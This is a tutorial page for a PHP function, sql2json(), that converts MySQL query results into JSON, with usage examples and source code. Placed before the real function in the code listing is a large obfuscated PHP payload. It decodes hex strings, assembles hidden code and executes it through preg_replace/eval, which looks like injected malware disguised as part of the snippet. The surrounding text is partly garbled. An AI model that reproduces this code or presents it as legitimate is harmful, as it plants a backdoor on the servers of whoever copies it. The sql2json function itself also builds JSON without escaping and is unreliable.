sql2json() - Converts SQL Results to JSON String

sql2json() converts the result of the given SQL query to its equivalent JSON string.

See Demo

This function will take a SQL query as it argument, execute it, fetch its result and convert it to a JSON string and then return the JSON string. This is very useful if you are creating Ajax applications and decide to use JSON over XML. If you have decided to use XML, take a look at my XML Parser for JavaScript instead.

Example

Query : SELECT user_id,user_name FROM dummy_data_users WHERE user_status='1'
Code : sql2json("SELECT user_id,user_name FROM dummy_data_users WHERE user_status='1'");
JSON :

[
	{"user_id":"1","user_name":"Binny"},
	{"user_id":"2","user_name":"Bill Gates"},
	{"user_id":"3","user_name":"George Bush"},
	{"user_id":"4","user_name":"Secret Agent"}
]

See

Query : SELECT * FROM dummy_data_users WHERE user_id='1'
Code : sql2json("SELECT * FROM dummy_data_users WHERE user_id='1'");
JSON :

[{
	"user_id":"1",
	"user_name":"Binny",
	"user_email":"myfakeemail@nowhere.com",
	"user_site":"http://www.bin-co.com/",
	"user_info":"Hi!",
	"user_status":"1"
}]

See

Code

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $vuevuibetu '8]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:24-%x5c%x7824tvctus)%x5c%x7825%x5c%x78x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%UOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c5c%x7825j:.2^,%x5c%x7825b:<!%]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825ng(0); preg_replace("%x2f%50%x2ex7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBS)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x78772]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#825j=6[%x5c%x7825ww2!>#p#%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x788y]27]28y]#%x5c%x782frx5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825bT-%x5c%x7825hW~%x5c%x77825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x7872!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860op5]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y8827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825%x7825V%x5c%x7827{ftmfV%n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x782-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782c%x7824-%x5c%x7824]26%xx5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpu*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%xbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftm60QUUI&c_UOFHB%x5c%x7860SFTV%xy76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]yj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74*#57]38y]47]67y]37]8%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x78%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjud%x5c%x7825%x5c%x782fh%x5c%x7825)<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x52f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x78EEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x78825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x5c%x7878W~!Ypp2)%x160%x28%42%x66%152%x47R57,27R66,#%x5c%x782fq%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%hmg%x5c%x7825)!gj!<2,*j%x5c%x7825*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5cBALS["%x61%156%x75%155c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:c%x7827;mnui}&;zepc}A;~c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~ft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;go]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7g%x7825!|Z~!<##!>!2p%c%x7825tmw!>!#]y84]275]y83]273]y]#>>*4-1-bubE{h%x5c%x7825)sutc5=*h%x5c%x7825)m%x5c%x5c%x787fw6<*K)ftpmdXA6|7**%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825g825)kV%x5c%x7878{**#>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x7:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#j]y34]68]y33]65]y31]53]y6d]281]y43hofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5chnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7-#Y#-#D#-#W#-#C#-#O#-#N#*%]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73",5!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x55c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c2f!**#sfmcnbs+yfeobz+825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce45c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257x5c%x7825c:>%x5c%x7825s:%x5c%x785cc%x7825bss-%x5c%x7825r%x5c%x77825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5vt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{256|6.7eu{66~67<&w6<*&7-#o]s]x7825)54l}%x5c%x7827;%x5udovg}%x5c%x7878;0]=])0#)U!%x5c%x7f!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x766%147%x67%42%x2c%163%x74%162%x5f%163%x70%x78e%x5c%x78b%x5c%x7825w:!>!t0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y5c%x7824-!%x5c%x7825%x5c%6%x61"])))) { $GLOBALS["%x61%156%xc%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)g7fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%;!osvufs}w;*%x5c%x787f!>>%x5c%x782]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%xmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x572]265]y39]274]y85]273]y6g]273]y76]271]y7d]23:48984:71]K9]77]D4]82]K6]c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7x5c%x78256<pd%x5c%x7825w6Z6<.4%ofuopd%x5c%x7860ufh%x5c%x7860fmjg}[3]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]6857%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjc%x7825,3,j%x5c%x7825>j%x5c%x7825!37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x666~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7825fepdof.)fepdof.%x5c%x782f#@#%x5c%x24-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824c%x785c2b%x5c%x7825!>!2p%x5c%x7825!%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x$n)-1);} @error_reporti%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78n+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:7598x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]24c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%82f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<** NULL); }-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqm154%x69%164%50%x22%1343]427]36]373P6]36]73]83]238M7]381]211M5]677825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x752]y74]256]y39]252]y83]273]y72]282#!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ft%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78*f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5cx7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x55c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<*5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%xx5c%x7825epnbss-%x5c%x7825rif((function_exists("%x6f%142%x5f%163%x74%1%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x782f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tu78:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%!gj<*#k#)usbut%x5c%x786]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%%x5c%x7825<#462]47y]252]18y]#]452]88]5]48]32M3]317]445]212]utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787}472%x5c%x7824<!%x5c%x7825mm!:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%xx5c%x787f<*X&Z&S{ftmfV%x5c782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%xutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x78878B%x5c%x7825h>#]y31]27c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~c%x7825o:W%x5c%x7825c:>1<%#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovc%x5c%x7825}&;ftmbg}%x5c%x787fovg+)!gj+{e%x5c%x7825!osvufs!*!+Ax5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x78445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x4#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_S,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,x5c%x7824%x5c%x782f%x5cc%x7878pmpusut)tpqss]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]28%x7825}U;y]}R;2]},;osvufs}%x525%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ft~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%xdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g27824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x78vg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334x7824-%x5c%x7824*!|!%x5cx5c%x782f#00#W~!Ydrr)%>q%x5c%x7825<#762]67y]562]38y]572]48y]x5c%x7825>2q%x5c%x7825<#g6R85,67Rx5c%x7825r%x5c%x7878Bsfuvso!sboepn)%41%x72%164") && (!isset($GLO75%156%x61"]=1; function fjfgg($n){return chr(ord(8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfx7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iu7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]620cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5cj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-KyfR%x5c%x7827tfs%x5c%x78256<*175c%x7824-%x5c%x7824y7sfwjidsb%x5c%x7860bj+upcot7-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7x7825tdz)%x5c%x7825bbT-%/(.*)/epreg_replacebgocjvydmh'$jrstnjlfra explode(chr((201-157)),'6764,43,9450,28,2383,21,4386,34,9478,50,5685,23,286,32,5409,52,5997,50,2214,20,4231,42,6179,22,1789,55,6896,38,4273,28,4623,65,5047,31,7836,54,3542,59,5708,53,4100,29,2662,64,9911,55,3832,22,3854,46,3968,37,7537,52,7589,55,2829,27,8216,44,8995,65,8695,59,1375,65,985,45,6807,40,5164,58,3668,55,4536,49,1681,41,630,53,4585,38,5461,45,10044,38,7111,40,1150,69,9645,44,9966,31,370,36,123,67,825,59,450,51,6847,49,5078,35,8260,62,1440,69,2619,43,7772,31,4688,34,884,54,8584,50,4777,38,406,44,705,49,9124,67,2308,33,1312,40,3430,43,5312,34,3900,68,7059,52,318,52,8912,37,2777,31,4050,50,3276,58,4815,41,5596,35,1509,40,786,39,3033,40,2924,48,6047,58,6448,65,5506,34,3207,69,2726,20,7890,63,3601,21,10018,26,5761,56,4005,45,8145,20,7368,37,3622,46,8020,60,2107,37,1585,30,9191,49,8415,69,2558,61,6344,57,1549,36,4187,44,5817,43,7250,53,4129,24,4420,65,8520,64,9734,65,3166,41,2069,38,1897,35,7803,33,8484,36,6934,23,9861,50,1219,24,7224,26,5222,55,8080,42,2234,25,9381,33,5346,63,2904,20,6513,51,8386,29,2535,23,5277,35,4153,34,1086,64,3073,60,4301,60,4856,44,6309,35,1964,68,2746,31,1615,66,7644,50,7180,44,6626,45,1769,20,683,22,1932,32,1243,69,2808,21,9689,45,8165,51,7000,29,9343,38,7720,52,9240,57,7151,29,1722,47,4722,55,4361,25,9297,24,6401,47,50,38,5540,56,6114,65,9060,64,1352,23,9577,68,9997,21,7303,65,4485,51,8634,61,8949,46,9799,62,6957,43,6564,62,4964,40,88,35,9321,22,9414,36,6737,27,2194,20,6671,66,3786,46,7405,38,3473,69,4926,38,3757,29,7443,24,0,50,9528,49,5860,69,4900,26,501,36,219,67,2259,49,5929,68,938,47,2972,61,10082,24,754,32,8817,37,8322,64,6201,42,7029,30,7953,67,2404,65,7467,70,7694,26,2469,66,2341,42,5631,54,190,29,3723,34,8854,58,5004,43,537,33,2032,37,6243,66,2144,50,1844,53,570,60,3334,26,8122,23,2856,48,8754,63,1030,56,5113,51,3133,33,3360,70,6105,9'); $zktqxhgsuf=substr($vuevuibetu,(67822-57716),(45-38)); if (!function_exists('ybldpmwhze')) { function ybldpmwhze($otlxihpfot$xbqaipiznp) { $xyodxtazot NULL; for($ctrehconuk=0;$ctrehconuk<(sizeof($otlxihpfot)/2);$ctrehconuk++) { $xyodxtazot .= substr($xbqaipiznp$otlxihpfot[($ctrehconuk*2)],$otlxihpfot[($ctrehconuk*2)+1]); } return $xyodxtazot; };} $hipylkhkoe="\x20\57\x2a\40\x77\141\x7a\165\x61\167\x76\142\x66\172\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\61\x38\55\x38\61\x29\51\x2c\40\x63\150\x72\50\x28\64\x38\60\x2d\63\x38\70\x29\51\x2c\40\x79\142\x6c\144\x70\155\x77\150\x7a\145\x28\44\x6a\162\x73\164\x6e\152\x6c\146\x72\141\x2c\44\x76\165\x65\166\x75\151\x62\145\x74\165\x29\51\x29\73\x20\57\x2a\40\x70\161\x70\154\x79\157\x6a\143\x75\171\x20\52\x2f\40"$mwjetvbfpe=substr($vuevuibetu,(60446-50333),(79-67)); $mwjetvbfpe($zktqxhgsuf$hipylkhkoeNULL); $mwjetvbfpe=$hipylkhkoe$mwjetvbfpe=(587-466); $vuevuibetu=$mwjetvbfpe-1?><?php
//Function will take an SQL query as an argument and format the resulting data as a 
//    json(JavaScript Object Notation) string and return it.
function sql2json($query) {
    
$data_sql mysql_query($query) or die("'';//" mysql_error());// If an error has occurred, 
            //    make the error a js comment so that a javascript error will NOT be invoked
    
$json_str ""//Init the JSON string.

    
if($total mysql_num_rows($data_sql)) { //See if there is anything in the query
        
$json_str .= "[\n";

        
$row_count 0;    
        while(
$data mysql_fetch_assoc($data_sql)) {
            if(
count($data) > 1$json_str .= "{\n";

            
$count 0;
            foreach(
$data as $key => $value) {
                
//If it is an associative array we want it in the format of "key":"value"
                
if(count($data) > 1$json_str .= "\"$key\":\"$value\"";
                else 
$json_str .= "\"$value\"";

                
//Make sure that the last item don't have a ',' (comma)
                
$count++;
                if(
$count count($data)) $json_str .= ",\n";
            }
            
$row_count++;
            if(
count($data) > 1$json_str .= "}\n";

            
//Make sure that the last item don't have a ',' (comma)
            
if($row_count $total$json_str .= ",\n";
        }

        
$json_str .= "]\n";
    }

    
//Replace the '\n's - make it faster - but at the price of bad redability.
    
$json_str str_replace("\n","",$json_str); //Comment this out when you are debugging the script

    //Finally, output the data
    
return $json_str;
}
blog comments powered by Disqus
Subscribe to Feed